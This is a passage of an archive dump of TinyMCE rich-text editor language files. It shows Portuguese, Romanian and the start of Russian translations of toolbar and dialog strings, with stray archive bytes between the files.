"Formats": "Formatos",
"Headers": "Cabe\u00e7alhos",
"Select all": "Selecionar tudo",
"Header 3": "Cabe\u00e7alho 3",
"Blocks": "Blocos",
"Undo": "Desfazer",
"Strikethrough": "Rasurado",
"Bullet list": "Lista com marcadores",
"Header 1": "Cabe\u00e7alho 1",
"Superscript": "Superior \u00e0 linha",
"Clear formatting": "Limpar formata\u00e7\u00e3o",
"Font Sizes": "Tamanhos",
"Subscript": "Inferior \u00e0 linha",
"Header 6": "Cabe\u00e7alho 6",
"Redo": "Refazer",
"Paragraph": "Par\u00e1grafo",
"Ok": "Ok",
"Bold": "Negrito",
"Code": "C\u00f3digo",
"Italic": "It\u00e1lico",
"Align center": "Alinhar ao centro",
"Header 5": "Cabe\u00e7alho 5",
"Heading 6": "T\u00edtulo 6",
"Heading 3": "T\u00edtulo 3",
"Decrease indent": "Diminuir avan\u00e7o",
"Header 4": "Cabe\u00e7alho 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "O comando colar
est\u00e1 em modo de texto simples. O conte\u00fado ser\u00e1 colado como
texto simples at\u00e9 desativar esta op\u00e7\u00e3o.",
"Underline": "Sublinhado",
"Cancel": "Cancelar",
"Justify": "Justificado",
"Inline": "Na linha",
"Copy": "Copiar",
"Align left": "Alinhar \u00e0 esquerda",
"Visual aids": "Ajuda visual",
"Lower Greek": "\\u03b1. \\u03b2. \\u03b3. ...",
"Square": "Quadrado",
"Default": "Padr\u00e3o",
"Lower Alpha": "a. b. c. ...",
"Circle": "C\u00edrculo",
"Disc": "Disco",
"Upper Alpha": "A. B. C. ...",
"Upper Roman": "I. II. III. ...",
"Lower Roman": "i. ii. iii. ...",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "O ID deve come\u00e7ar
com uma letra, seguido por letras, n\u00fameros, tra\u00e7os, pontos, dois
pontos ou sobtra\u00e7os.",
"Name": "Nome",
"Anchor": "\u00c2ncora",
"Id": "ID",
"You have unsaved changes are you sure you want to navigate
away?": "Existem altera\u00e7\u00f5es que ainda n\u00e3o foram
guardadas. Tem a certeza que pretende sair?",
"Restore last draft": "Restaurar o \u00faltimo
rascunho",
"Special character": "Car\u00e1cter especial",
"Source code": "C\u00f3digo fonte",
"Language": "Idioma",
"Insert\/Edit code sample": "Inserir\/editar amostra de
c\u00f3digo",
"B": "B",
"R": "R",
"G": "G",
"Color": "Cor",
"Right to left": "Da direita para a esquerda",
"Left to right": "Da esquerda para a direita",
"Emoticons": "Emo\u00e7\u00f5es",
"Robots": "Rob\u00f4s",
"Document properties": "Propriedades do documento",
"Title": "T\u00edtulo",
"Keywords": "Palavras-chave",
"Encoding": "Codifica\u00e7\u00e3o",
"Description": "Descri\u00e7\u00e3o",
"Author": "Autor",
"Fullscreen": "Ecr\u00e3 completo",
"Horizontal line": "Linha horizontal",
"Horizontal space": "Espa\u00e7amento horizontal",
"Insert\/edit image": "Inserir\/editar imagem",
"General": "Geral",
"Advanced": "Avan\u00e7ado",
"Source": "Localiza\u00e7\u00e3o",
"Border": "Contorno",
"Constrain proportions": "Manter propor\u00e7\u00f5es",
"Vertical space": "Espa\u00e7amento vertical",
"Image description": "Descri\u00e7\u00e3o da imagem",
"Style": "Estilo",
"Dimensions": "Dimens\u00f5es",
"Insert image": "Inserir imagem",
"Image": "Imagem",
"Zoom in": "Mais zoom",
"Contrast": "Contraste",
"Back": "Voltar",
"Gamma": "Gama",
"Flip horizontally": "Inverter horizontalmente",
"Resize": "Redimensionar",
"Sharpen": "Mais nitidez",
"Zoom out": "Menos zoom",
"Image options": "Op\u00e7\u00f5es de imagem",
"Apply": "Aplicar",
"Brightness": "Brilho",
"Rotate clockwise": "Rota\u00e7\u00e3o hor\u00e1ria",
"Rotate counterclockwise": "Rota\u00e7\u00e3o
anti-hor\u00e1ria",
"Edit image": "Editar imagem",
"Color levels": "N\u00edveis de cor",
"Crop": "Recortar",
"Orientation": "Orienta\u00e7\u00e3o",
"Flip vertically": "Inverter verticalmente",
"Invert": "Inverter",
"Date\/time": "Data\/hora",
"Insert date\/time": "Inserir data\/hora",
"Remove link": "Remover liga\u00e7\u00e3o",
"Url": "URL",
"Text to display": "Texto a exibir",
"Anchors": "\u00c2ncora",
"Insert link": "Inserir liga\u00e7\u00e3o",
"Link": "Liga\u00e7\u00e3o",
"New window": "Nova janela",
"None": "Nenhum",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "O URL que indicou parece ser um
endere\u00e7o web. Quer adicionar o prefixo http:\/\/ tal como
necess\u00e1rio?",
"Paste or type a link": "Copiar ou escrever uma
hiperliga\u00e7\u00e3o",
"Target": "Alvo",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "O URL que indicou parece ser um
endere\u00e7o de email. Quer adicionar o prefixo mailto: tal como
necess\u00e1rio?",
"Insert\/edit link": "Inserir\/editar
liga\u00e7\u00e3o",
"Insert\/edit video": "Inserir\/editar v\u00eddeo",
"Media": "Media",
"Alternative source": "Localiza\u00e7\u00e3o
alternativa",
"Paste your embed code below:": "Colar c\u00f3digo para
embeber:",
"Insert video": "Inserir v\u00eddeo",
"Poster": "Autor",
"Insert\/edit media": "Inserir\/editar media",
"Embed": "Embeber",
"Nonbreaking space": "Espa\u00e7o n\u00e3o
quebr\u00e1vel",
"Page break": "Quebra de p\u00e1gina",
"Paste as text": "Colar como texto",
"Preview": "Pr\u00e9-visualizar",
"Print": "Imprimir",
"Save": "Guardar",
"Could not find the specified string.": "N\u00e3o foi
poss\u00edvel localizar o termo especificado.",
"Replace": "Substituir",
"Next": "Pr\u00f3ximo",
"Whole words": "Palavras completas",
"Find and replace": "Pesquisar e substituir",
"Replace with": "Substituir por",
"Find": "Pesquisar",
"Replace all": "Substituir tudo",
"Match case": "Diferenciar mai\u00fasculas e
min\u00fasculas",
"Prev": "Anterior",
"Spellcheck": "Corretor ortogr\u00e1fico",
"Finish": "Concluir",
"Ignore all": "Ignorar tudo",
"Ignore": "Ignorar",
"Add to Dictionary": "Adicionar ao dicion\u00e1rio",
"Insert row before": "Inserir linha antes",
"Rows": "Linhas",
"Height": "Altura",
"Paste row after": "Colar linha depois",
"Alignment": "Alinhamento",
"Border color": "Cor de contorno",
"Column group": "Agrupar coluna",
"Row": "Linha",
"Insert column before": "Inserir coluna antes",
"Split cell": "Dividir c\u00e9lula",
"Cell padding": "Espa\u00e7amento interno da
c\u00e9lula",
"Cell spacing": "Espa\u00e7amento entre c\u00e9lulas",
"Row type": "Tipo de linha",
"Insert table": "Inserir tabela",
"Body": "Corpo",
"Caption": "Legenda",
"Footer": "Rodap\u00e9",
"Delete row": "Eliminar linha",
"Paste row before": "Colar linha antes",
"Scope": "Escopo",
"Delete table": "Eliminar tabela",
"H Align": "Alinhamento H",
"Top": "Superior",
"Header cell": "C\u00e9lula de cabe\u00e7alho",
"Column": "Coluna",
"Row group": "Agrupar linha",
"Cell": "C\u00e9lula",
"Middle": "Meio",
"Cell type": "Tipo de c\u00e9lula",
"Copy row": "Copiar linha",
"Row properties": "Propriedades da linha",
"Table properties": "Propriedades da tabela",
"Bottom": "Inferior",
"V Align": "Alinhamento V",
"Header": "Cabe\u00e7alho",
"Right": "Direita",
"Insert column after": "Inserir coluna depois",
"Cols": "Colunas",
"Insert row after": "Inserir linha depois",
"Width": "Largura",
"Cell properties": "Propriedades da c\u00e9lula",
"Left": "Esquerda",
"Cut row": "Cortar linha",
"Delete column": "Eliminar coluna",
"Center": "Centro",
"Merge cells": "Unir c\u00e9lulas",
"Insert template": "Inserir modelo",
"Templates": "Modelos",
"Background color": "Cor de fundo",
"Custom...": "Personalizada...",
"Custom color": "Cor personalizada",
"No color": "Sem cor",
"Text color": "Cor do texto",
"Table of Contents": "\u00cdndice",
"Show blocks": "Mostrar blocos",
"Show invisible characters": "Mostrar caracteres
invis\u00edveis",
"Words: {0}": "Palavras: {0}",
"Insert": "Inserir",
"File": "Ficheiro",
"Edit": "Editar",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Caixa de texto formatado. Pressione
ALT-F9 para exibir o menu. Pressione ALT-F10 para exibir a barra de
ferramentas. Pressione ALT-0 para exibir a ajuda",
"Tools": "Ferramentas",
"View": "Ver",
"Table": "Tabela",
"Format": "Formatar"
});PKR��[���ݗ�tinymce/langs/readme.mdnu�[���This
is where language files should be placed.

Please DO NOT translate these directly use this service:
https://www.transifex.com/projects/p/tinymce/
PKR��[N��K��tinymce/langs/ro.jsnu�[���tinymce.addI18n('ro',{
"Cut": "Decupeaz\u0103",
"Header 2": "Antet 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"Browserul dumneavoastr\u0103 nu support\u0103 acces direct la
clipboard. Folosi\u0163i combina\u0163ile de tastatur\u0103
Ctrl+X\/C\/V.",
"Div": "Div",
"Paste": "Lipe\u015fte",
"Close": "\u00cenchide",
"Font Family": "Font",
"Pre": "Pre",
"Align right": "Aliniere la dreapta",
"New document": "Document nou",
"Blockquote": "Men\u0163iune bloc",
"Numbered list": "List\u0103 ordonat\u0103",
"Increase indent": "Indenteaz\u0103",
"Formats": "Formate",
"Headers": "Antete",
"Select all": "Selecteaz\u0103 tot",
"Header 3": "Antet 3",
"Blocks": "Blocuri",
"Undo": "Reexecut\u0103",
"Strikethrough": "T\u0103iat",
"Bullet list": "List\u0103 neordonat\u0103",
"Header 1": "Antet 1",
"Superscript": "Superscript",
"Clear formatting": "\u015eterge format\u0103rile",
"Font Sizes": "Dimensiune font",
"Subscript": "Subscript",
"Header 6": "Antet 6",
"Redo": "Dezexecut\u0103",
"Paragraph": "Paragraf",
"Ok": "Ok",
"Bold": "\u00cengro\u015fat",
"Code": "Cod",
"Italic": "Italic",
"Align center": "Centrare",
"Header 5": "Antet 5",
"Decrease indent": "De-indenteaz\u0103",
"Header 4": "Antet 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Functia
\"lipe\u015fte\" este acum \u00een modul text simplu. Continutul
va fi acum inserat ca text simplu p\u00e2n\u0103 c\u00e2nd aceast\u0103
op\u021biune va fi dezactivat.",
"Underline": "Subliniat",
"Cancel": "Anuleaz\u0103",
"Justify": "Aliniere pe toat\u0103 l\u0103\u021bimea",
"Inline": "Inline",
"Copy": "Copiaz\u0103",
"Align left": "Aliniere la st\u00e2nga",
"Visual aids": "Ajutor vizual",
"Lower Greek": "Minuscule Grecesti",
"Square": "P\u0103trat",
"Default": "Implicit",
"Lower Alpha": "Minuscule Alfanumerice",
"Circle": "Cerc",
"Disc": "Disc",
"Upper Alpha": "Majuscule Alfanumerice",
"Upper Roman": "Majuscule Romane",
"Lower Roman": "Minuscule Romane",
"Name": "Nume",
"Anchor": "Ancor\u0103",
"You have unsaved changes are you sure you want to navigate
away?": "Ave\u021bi modific\u0103ri nesalvate! Sunte\u0163i sigur
c\u0103 dori\u0163i s\u0103 ie\u015fiti?",
"Restore last draft": "Restaurare la ultima salvare",
"Special character": "Caractere speciale",
"Source code": "Codul surs\u0103",
"Right to left": "Dreapta la st\u00e2nga",
"Left to right": "St\u00e2nga la dreapta",
"Emoticons": "Emoticoane",
"Robots": "Robo\u021bi",
"Document properties": "Propriet\u0103\u021bi
document",
"Title": "Titlu",
"Keywords": "Cuvinte cheie",
"Encoding": "Codare",
"Description": "Descriere",
"Author": "Autor",
"Fullscreen": "Pe tot ecranul",
"Horizontal line": "Linie orizontal\u0103",
"Horizontal space": "Spa\u021biul orizontal",
"Insert\/edit image": "Inserare\/editarea imaginilor",
"General": "General",
"Advanced": "Avansat",
"Source": "Surs\u0103",
"Border": "Bordur\u0103",
"Constrain proportions": "Constr\u00e2nge
propor\u021biile",
"Vertical space": "Spa\u021biul vertical",
"Image description": "Descrierea imaginii",
"Style": "Stil",
"Dimensions": "Dimensiuni",
"Insert image": "Inserare imagine",
"Insert date\/time": "Insereaz\u0103 data\/ora",
"Remove link": "\u0218terge link-ul",
"Url": "Url",
"Text to display": "Text de afi\u0219at",
"Anchors": "Ancor\u0103",
"Insert link": "Inserare link",
"New window": "Fereastr\u0103 nou\u0103",
"None": "Nici unul",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "The URL you entered seems to be
an external link. Do you want to add the required http:\/\/ prefix?",
"Target": "\u021aint\u0103",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "The URL you entered seems to be
an email address. Do you want to add the required mailto: prefix?",
"Insert\/edit link": "Inserare\/editare link",
"Insert\/edit video": "Inserare\/editare video",
"Poster": "Poster",
"Alternative source": "Surs\u0103 alternativ\u0103",
"Paste your embed code below:": "Insera\u021bi codul:",
"Insert video": "Inserare video",
"Embed": "Embed",
"Nonbreaking space": "Spa\u021biu neseparator",
"Page break": "\u00centrerupere de pagin\u0103",
"Paste as text": "Lipe\u015fte ca text",
"Preview": "Previzualizare",
"Print": "Tip\u0103re\u0219te",
"Save": "Salveaz\u0103",
"Could not find the specified string.": "Nu am putut
g\u0103si \u0219irul specificat.",
"Replace": "\u00cenlocuie\u015fte",
"Next": "Precedent",
"Whole words": "Doar cuv\u00eentul \u00eentreg",
"Find and replace": "Caut\u0103 \u015fi
\u00eenlocuie\u015fte",
"Replace with": "\u00cenlocuie\u015fte cu",
"Find": "Caut\u0103",
"Replace all": "\u00cenlocuie\u015fte toate",
"Match case": "Distinge majuscule\/minuscule",
"Prev": "Anterior",
"Spellcheck": "Verificarea ortografic\u0103",
"Finish": "Finalizeaz\u0103",
"Ignore all": "Ignor\u0103 toate",
"Ignore": "Ignor\u0103",
"Insert row before": "Insereaz\u0103 \u00eenainte de
linie",
"Rows": "Linii",
"Height": "\u00cen\u0103l\u0163ime",
"Paste row after": "Lipe\u015fte linie dup\u0103",
"Alignment": "Aliniament",
"Column group": "Grup de coloane",
"Row": "Linie",
"Insert column before": "Insereaza \u00eenainte de
coloan\u0103",
"Split cell": "\u00cemp\u0103r\u021birea celulelor",
"Cell padding": "Spa\u021biere",
"Cell spacing": "Spa\u021biere celule",
"Row type": "Tip de linie",
"Insert table": "Insereaz\u0103 tabel\u0103",
"Body": "Corp",
"Caption": "Titlu",
"Footer": "Subsol",
"Delete row": "\u0218terge linia",
"Paste row before": "Lipe\u015fte \u00eenainte de
linie",
"Scope": "Domeniu",
"Delete table": "\u0218terge tabel\u0103",
"Header cell": "Antet celul\u0103",
"Column": "Coloan\u0103",
"Cell": "Celul\u0103",
"Header": "Antet",
"Cell type": "Tip celul\u0103",
"Copy row": "Copiaz\u0103 linie",
"Row properties": "Propriet\u0103\u021bi linie",
"Table properties": "Propriet\u0103\u021bi
tabel\u0103",
"Row group": "Grup de linii",
"Right": "Dreapta",
"Insert column after": "Insereaza dup\u0103
coloan\u0103",
"Cols": "Coloane",
"Insert row after": "Insereaz\u0103 dup\u0103 linie",
"Width": "L\u0103\u0163ime",
"Cell properties": "Propriet\u0103\u021bi celul\u0103",
"Left": "St\u00e2nga",
"Cut row": "Taie linie",
"Delete column": "\u0218terge coloana",
"Center": "Centru",
"Merge cells": "\u00cembinarea celulelor",
"Insert template": "Insereaz\u0103 \u0219ablon",
"Templates": "\u015eabloane",
"Background color": "Culoare fundal",
"Text color": "Culoare text",
"Show blocks": "Afi\u0219are blocuri",
"Show invisible characters": "Afi\u0219are caractere
invizibile",
"Words: {0}": "Cuvinte: {0}",
"Insert": "Insereaz\u0103",
"File": "Fil\u0103",
"Edit": "Editeaz\u0103",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Zon\u0103 cu Rich Text. Apas\u0103 ALT-F9
pentru meniu. Apas\u0103 ALT-F10 pentru bara de unelte. Apas\u0103 ALT-0
pentru ajutor",
"Tools": "Unelte",
"View": "Vezi",
"Table": "Tabel\u0103",
"Format": "Formateaz\u0103"
});PKR��[\1>9]9]tinymce/langs/ru.jsnu�[���tinymce.addI18n('ru',{
"Cut":
"\u0412\u044b\u0440\u0435\u0437\u0430\u0442\u044c",
"Heading 5":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 5",
"Header 2":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"\u0412\u0430\u0448 \u0431\u0440\u0430\u0443\u0437\u0435\u0440
\u043d\u0435
\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442
\u043f\u0440\u044f\u043c\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f
\u043a \u0431\u0443\u0444\u0435\u0440\u0443
\u043e\u0431\u043c\u0435\u043d\u0430.
\u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430,
\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435
\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435
\u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u044f
\u043a\u043b\u0430\u0432\u0438\u0448: Ctrl+X\/C\/V.",
"Heading 4":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 4",
"Div": "\u0411\u043b\u043e\u043a",
"Heading 2":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 2",
"Paste":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c",
"Close": "\u0417\u0430\u043a\u0440\u044b\u0442\u044c",
"Font Family": "\u0428\u0440\u0438\u0444\u0442",
"Pre":
"\u041f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435
\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435",
"Align right": "\u041f\u043e
\u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e",
"New document": "\u041d\u043e\u0432\u044b\u0439
\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442",
"Blockquote": "\u0426\u0438\u0442\u0430\u0442\u0430",
"Numbered list":
"\u041d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439
\u0441\u043f\u0438\u0441\u043e\u043a",
"Heading 1":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 1",
"Headings":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438",
"Increase indent":
"\u0423\u0432\u0435\u043b\u0438\u0447\u0438\u0442\u044c
\u043e\u0442\u0441\u0442\u0443\u043f",
"Formats": "\u0424\u043e\u0440\u043c\u0430\u0442",
"Headers":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438",
"Select all":
"\u0412\u044b\u0434\u0435\u043b\u0438\u0442\u044c
\u0432\u0441\u0435",
"Header 3":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 3",
"Blocks": "\u0411\u043b\u043e\u043a\u0438",
"Undo": "\u0412\u0435\u0440\u043d\u0443\u0442\u044c",
"Strikethrough":
"\u0417\u0430\u0447\u0435\u0440\u043a\u043d\u0443\u0442\u044b\u0439",
"Bullet list":
"\u041c\u0430\u0440\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439
\u0441\u043f\u0438\u0441\u043e\u043a",
"Header 1":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 1",
"Superscript": "\u0412\u0435\u0440\u0445\u043d\u0438\u0439
\u0438\u043d\u0434\u0435\u043a\u0441",
"Clear formatting":
"\u041e\u0447\u0438\u0441\u0442\u0438\u0442\u044c
\u0444\u043e\u0440\u043c\u0430\u0442",
"Font Sizes": "\u0420\u0430\u0437\u043c\u0435\u0440
\u0448\u0440\u0438\u0444\u0442\u0430",
"Subscript": "\u041d\u0438\u0436\u043d\u0438\u0439
\u0438\u043d\u0434\u0435\u043a\u0441",
"Header 6":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 6",
"Redo":
"\u041e\u0442\u043c\u0435\u043d\u0438\u0442\u044c",
"Paragraph":
"\u041f\u0430\u0440\u0430\u0433\u0440\u0430\u0444",
"Ok": "\u041e\u043a",
"Bold":
"\u041f\u043e\u043b\u0443\u0436\u0438\u0440\u043d\u044b\u0439",
"Code": "\u041a\u043e\u0434",
"Italic": "\u041a\u0443\u0440\u0441\u0438\u0432",
"Align center": "\u041f\u043e
\u0446\u0435\u043d\u0442\u0440\u0443",
"Header 5":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 5",
"Heading 6":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 6",
"Heading 3":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 3",
"Decrease indent":
"\u0423\u043c\u0435\u043d\u044c\u0448\u0438\u0442\u044c
\u043e\u0442\u0441\u0442\u0443\u043f",
"Header 4":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.":
"\u0412\u0441\u0442\u0430\u0432\u043a\u0430
\u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f
\u0432 \u0432\u0438\u0434\u0435
\u043f\u0440\u043e\u0441\u0442\u043e\u0433\u043e
\u0442\u0435\u043a\u0441\u0442\u0430, \u043f\u043e\u043a\u0430 \u043d\u0435
\u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c
\u0434\u0430\u043d\u043d\u0443\u044e \u043e\u043f\u0446\u0438\u044e.",
"Underline":
"\u041f\u043e\u0434\u0447\u0435\u0440\u043a\u043d\u0443\u0442\u044b\u0439",
"Cancel":
"\u041e\u0442\u043c\u0435\u043d\u0438\u0442\u044c",
"Justify": "\u041f\u043e
\u0448\u0438\u0440\u0438\u043d\u0435",
"Inline":
"\u0421\u0442\u0440\u043e\u0447\u043d\u044b\u0435",
"Copy":
"\u041a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c",
"Align left": "\u041f\u043e
\u043b\u0435\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e",
"Visual aids":
"\u041f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c
\u043a\u043e\u043d\u0442\u0443\u0440\u044b",
"Lower Greek":
"\u0421\u0442\u0440\u043e\u0447\u043d\u044b\u0435
\u0433\u0440\u0435\u0447\u0435\u0441\u043a\u0438\u0435
\u0431\u0443\u043a\u0432\u044b",
"Square":
"\u041a\u0432\u0430\u0434\u0440\u0430\u0442\u044b",
"Default":
"\u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439",
"Lower Alpha":
"\u0421\u0442\u0440\u043e\u0447\u043d\u044b\u0435
\u043b\u0430\u0442\u0438\u043d\u0441\u043a\u0438\u0435
\u0431\u0443\u043a\u0432\u044b",
"Circle":
"\u041e\u043a\u0440\u0443\u0436\u043d\u043e\u0441\u0442\u0438",
"Disc": "\u041a\u0440\u0443\u0433\u0438",
"Upper Alpha":
"\u0417\u0430\u0433\u043b\u0430\u0432\u043d\u044b\u0435
\u043b\u0430\u0442\u0438\u043d\u0441\u043a\u0438\u0435
\u0431\u0443\u043a\u0432\u044b",
"Upper Roman":
"\u0417\u0430\u0433\u043b\u0430\u0432\u043d\u044b\u0435
\u0440\u0438\u043c\u0441\u043a\u0438\u0435
\u0446\u0438\u0444\u0440\u044b",
"Lower Roman":
"\u0421\u0442\u0440\u043e\u0447\u043d\u044b\u0435
\u0440\u0438\u043c\u0441\u043a\u0438\u0435
\u0446\u0438\u0444\u0440\u044b",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "Id
\u0434\u043e\u043b\u0436\u0435\u043d
\u043d\u0430\u0447\u0438\u043d\u0430\u0442\u044c\u0441\u044f \u0441
\u0431\u0443\u043a\u0432\u044b,
\u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0442\u044c\u0441\u044f
\u0442\u043e\u043b\u044c\u043a\u043e \u0441 \u0431\u0443\u043a\u0432\u044b,
\u0446\u0438\u0444\u0440\u044b, \u0442\u0438\u0440\u0435,
\u0442\u043e\u0447\u043a\u0438,
\u0434\u0432\u043e\u0435\u0442\u043e\u0447\u0438\u044f \u0438\u043b\u0438
\u043f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u043d\u0438\u044f.",
"Name": "\u0418\u043c\u044f",
"Anchor": "\u042f\u043a\u043e\u0440\u044c",
"Id": "Id",
"You have unsaved changes are you sure you want to navigate
away?": "\u0423 \u0432\u0430\u0441 \u0435\u0441\u0442\u044c
\u043d\u0435
\u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0435
\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f. \u0412\u044b
\u0443\u0432\u0435\u0440\u0435\u043d\u044b, \u0447\u0442\u043e
\u0445\u043e\u0442\u0438\u0442\u0435 \u0443\u0439\u0442\u0438?",
"Restore last draft":
"\u0412\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435
\u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0433\u043e
\u043f\u0440\u043e\u0435\u043a\u0442\u0430",
"Special character":
"\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435
\u0441\u0438\u043c\u0432\u043e\u043b\u044b",
"Source code":
"\u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0439
\u043a\u043e\u0434",
"Language": "\u042f\u0437\u044b\u043a",
"Insert\/Edit code sample":
"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c\/\u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c
\u043f\u0440\u0438\u043c\u0435\u0440 \u043a\u043e\u0434\u0430",
"B": "B",
"R": "R",
"G": "G",
"Color": "\u0426\u0432\u0435\u0442",
"Right to left":
"\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435
\u0441\u043f\u0440\u0430\u0432\u0430
\u043d\u0430\u043b\u0435\u0432\u043e",
"Left to right":
"\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435
\u0441\u043b\u0435\u0432\u0430
\u043d\u0430\u043f\u0440\u0430\u0432\u043e",
"Emoticons":
"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c
\u0441\u043c\u0430\u0439\u043b",
"Robots": "\u0420\u043e\u0431\u043e\u0442\u044b",
"Document properties":
"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430
\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430",
"Title":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",
"Keywords":
"\u041a\u043b\u044e\u0447\u0438\u0432\u044b\u0435
\u0441\u043b\u043e\u0432\u0430",
"Encoding":
"\u041a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0430",
"Description":
"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435",
"Author": "\u0410\u0432\u0442\u043e\u0440",
"Fullscreen":
"\u041f\u043e\u043b\u043d\u043e\u044d\u043a\u0440\u0430\u043d\u043d\u044b\u0439
\u0440\u0435\u0436\u0438\u043c",
"Horizontal line":
"\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f
\u043b\u0438\u043d\u0438\u044f",
"Horizontal space":
"\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0439
\u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b",
"Insert\/edit image":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c\/\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c
\u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435",
"General": "\u041e\u0431\u0449\u0435\u0435",
"Advanced":
"\u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0435",
"Source":
"\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a",
"Border": "\u0420\u0430\u043c\u043a\u0430",
"Constrain proportions":
"\u0421\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c
\u043f\u0440\u043e\u043f\u043e\u0440\u0446\u0438\u0438",
"Vertical space":
"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439
\u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b",
"Image description":
"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435
\u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f",
"Style": "\u0421\u0442\u0438\u043b\u044c",
"Dimensions": "\u0420\u0430\u0437\u043c\u0435\u0440",
"Insert image":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c
\u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435",
"Image":
"\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f",
"Zoom in":
"\u041f\u0440\u0438\u0431\u043b\u0438\u0437\u0438\u0442\u044c",
"Contrast":
"\u041a\u043e\u043d\u0442\u0440\u0430\u0441\u0442",
"Back": "\u041d\u0430\u0437\u0430\u0434",
"Gamma": "\u0413\u0430\u043c\u043c\u0430",
"Flip horizontally":
